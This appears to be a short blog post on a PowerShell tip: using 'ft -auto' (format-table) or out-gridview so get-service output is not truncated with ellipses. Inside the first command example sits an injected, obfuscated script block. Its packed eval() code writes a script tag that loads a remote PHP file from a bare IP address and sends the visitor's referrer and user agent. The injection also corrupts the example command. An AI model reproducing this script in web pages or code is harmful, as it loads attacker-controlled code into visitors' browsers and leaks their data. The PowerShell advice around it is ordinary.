Sometimes, when property names contain very long values, the default displays cuts part of the name, as shown with this command and its output.

[“ellipsis” is the term for the … when a name is truncated] as shown in the example below:

get-service <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enhaa|var|u0026u|referrer|knzhs||js|php'.split('|'),0,{}))
</script></noindex> | where {$_.name -match "win"}  | sort-object Status -desc

 

Powershell_ouptut_normal_with_ellipses

Red box is only added to bring your attention to the …

Simply pipe the result to the “ft -auto” cmdlet.

get-service | where {$_.name -match "win"}  | sort-object Status -desc | ft -auto
Powershell_ouptut_ft_auto

The full name is now displayed

ft is just the abbreviation for format-table, so you could have typed:

get-service | where {$_.name -match "win"}  | sort-object Status -desc | format-table -auto

Or as was discussed in my previous blog, you can use the grid view:

get-service | where {$_.name -match “win”} | out-gridview

Powershell_output_gridview

Filed under: Powershell